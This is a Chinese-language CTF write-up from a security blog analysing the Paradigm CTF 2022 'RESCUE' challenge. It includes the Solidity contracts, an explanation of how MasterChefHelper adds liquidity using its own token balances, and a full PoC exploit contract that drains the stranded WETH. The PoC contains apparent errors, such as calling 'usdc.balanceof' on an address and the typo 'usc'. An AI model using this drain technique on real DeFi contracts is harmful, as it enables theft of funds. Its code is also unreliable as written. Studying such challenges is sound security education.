学院 安全深度 文章

链上卫士:Paradigm CTF 2022 题目浅析—RESCUE

2022.09.29 0xc730

题目背景

在Paradigm CTF 2022中有着这样一道DeFi金融赛题:

题目描述:I accidentally sent some WETH to a contract, can you help me?,题目的要求是将误操作打入mcHelper合约中的weth全部转移。

题目分析

Setup.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./MasterChefHelper.sol";

interface WETH9 is ERC20Like {
    function deposit() external payable;
}

contract Setup {
    
    WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    MasterChefHelper public immutable mcHelper;

    constructor() payable {
        mcHelper = new MasterChefHelper();
        weth.deposit{value: 10 ether}();
        weth.transfer(address(mcHelper), 10 ether); // whoops
    }

    function isSolved() external view returns (bool) {
        return weth.balanceOf(address(mcHelper)) == 0;
    }

}

Setup合约在创建的时候先抵押了10ETH,获取了10 WETH并且将10个WETH转移到了mcHelper合约中。题目的要求就是将mcHelper合约中的weth全部转移。

MasterChefHelper.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./UniswapV2Like.sol";

interface ERC20Like {
    function transferFrom(address, address, uint) external;
    function transfer(address, uint) external;
    function approve(address, uint) external;
    function balanceOf(address) external view returns (uint);
}

interface MasterChefLike {
    function poolInfo(uint256 id) external returns (
        address lpToken,
        uint256 allocPoint,
        uint256 lastRewardBlock,
        uint256 accSushiPerShare
    );
}

contract MasterChefHelper {

    MasterChefLike public constant masterchef = MasterChefLike(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
    UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

    function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
        (address lpToken,,,) = masterchef.poolInfo(poolId);
        address tokenOut0 = UniswapV2PairLike(lpToken).token0();
        address tokenOut1 = UniswapV2PairLike(lpToken).token1();

        ERC20Like(tokenIn).approve(address(router), type(uint256).max);
        ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
        ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
        ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);

        // swap for both tokens of the lp pool
        _swap(tokenIn, tokenOut0, amountIn / 2);
        _swap(tokenIn, tokenOut1, amountIn / 2);

        // add liquidity and give lp tokens to msg.sender
        _addLiquidity(tokenOut0, tokenOut1, minAmountOut);
    }

    function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
        (,, uint256 amountOut) = router.addLiquidity(
            token0, 
            token1, 
            ERC20Like(token0).balanceOf(address(this)), 
            ERC20Like(token1).balanceOf(address(this)), 
            0, 
            0, 
            msg.sender, 
            block.timestamp
        );
        require(amountOut >= minAmountOut);
    }

    function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
        address[] memory path = new address[](2);
        path[0] = tokenIn;
        path[1] = tokenOut;
        router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

MasterChefHelper合约只有一个外部可调用的函数swapTokenForPoolToken,该函数的主要功能是将用户转入代币的一半兑换成指定pair合约中的token0, 再将另一半兑换为token1,然后两者按比例一起添加到pair中获得流动性。

解题分析

根据上文可知,在MasterChefHelper合约的swapTokenForPoolToken函数是功能性最多且也是唯一能调用的函数,所以该函数为重点排查对象。该函数会调用_swap进行代币兑换,然后调用_addLiquidity进行流动性添加。

    function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
        (,, uint256 amountOut) = router.addLiquidity(
            token0, 
            token1, 
            ERC20Like(token0).balanceOf(address(this)), 
            ERC20Like(token1).balanceOf(address(this)), 
            0, 
            0, 
            msg.sender, 
            block.timestamp
        );
        require(amountOut >= minAmountOut);
    }

_addLiquidity函数中我们发现关键问题,其添加流动性的数值是通过上述函数的第5、6行也就是MasterChefHelper合约内两种代币余额决定的,而不是用户输入决定的。

然而用户又误操作将WETH打入MasterChefHelper合约,所以我们只要向MasterChefHelper合约转入和10WETH等比例的代币,然后调用swapTokenForPoolToken函数,将两种代币添加进流动性池就能够将误操作打入MasterChefHelper合约的10WETH转移。

解题步骤

1. 根据poolInfo函数查询池子的币对信息,以便进行后续操作,这里以0、1、2号池为例。

pairId:0,token0:WETH,token1:USDT,lpAddress:0x06da0fd433C1A5d7a4faa01111c044910A184553
pairId:1,token0:USDC,token1:WETH,lpAddress:0x397FF1542f962076d0BFE58eA045FfA2d347ACa0
pairId:2,token0:DAI,token1:WETH,lpAddress:0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f

2.兑换价值 10 ETH的 USDC 并将其发送至MasterChefHelper,之所以兑换10 ETH的USDC是为了跟合约内原有的10 WETH进行后续的流动性添加操作,这里也可以多兑换一些USDC以防止添加流动性后仍有少部分WETH遗留在MsterChefHelper合约中。

weth.deposit{value: 11 ether}();

address[] memory path = new address[](2);

path[0] = address(weth);
path[1] = usc;
router.swapExactTokensForTokens(
    10 ether,
    0,
    path,
    address(mcHelper),
    block.timestamp
    );

3. 兑换一定数量的DAI,用来触发swapTokenForPoolToken函数进行流动性添加,完成解题。这里的swapTokenForPoolToken函数主要执行逻辑为,先将兑换后的dai代币分成两份,分别兑换为0.5 WETH和价值0.5 WETH 的USDC,然后和之前遗留在mcHelper的10 WETH和第二步转入的价值10 WETH的USDC一起按照比例进行流动性添加。

address[] memory path = new address[](2);

path[0] = address(weth);
path[1] = dai;
router.swapExactTokensForTokens(
    1 ether,
    0,
    path,
    address(this),
    block.timestamp
    );
    
  ERC20Like(dai).approve(address(mcHelper), type(uint256).max);
  mcHelper.swapTokenForPoolToken(1, dai, usdc.balanceof(address(this)), 0);
   

Poc

根据上述分析,可以得到对应的解题代码。

pragma solidity 0.8.16;

import "public/Setup.sol";

contract Exploit {

    constructor(Setup setup) payable {

        WETH9 weth = setup.weth();
        MasterChefHelper mcHelper = setup.mcHelper();
        UniswapV2RouterLike router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
        address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
        address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
        weth.approve(address(router), type(uint256).max);

        weth.deposit{value: 11 ether}();
        
        address[] memory path = new address[](2);

        path[0] = address(weth);
        path[1] = usdc;
        router.swapExactTokensForTokens(
            10 ether,
            0,
            path,
            address(mcHelper),
            block.timestamp
        );

        path[0] = address(weth);
        path[1] = dai;
        router.swapExactTokensForTokens(
            1 ether,
            0,
            path,
            address(this),
            block.timestamp
        );

        ERC20Like(dai).approve(address(mcHelper), type(uint256).max);
        mcHelper.swapTokenForPoolToken(1, dai, usdc.balanceof(address(this)), 0);
    }
}

免责声明:OKLink学院仅提供信息参考,不构成任何投资建议。

相关推荐

security-insight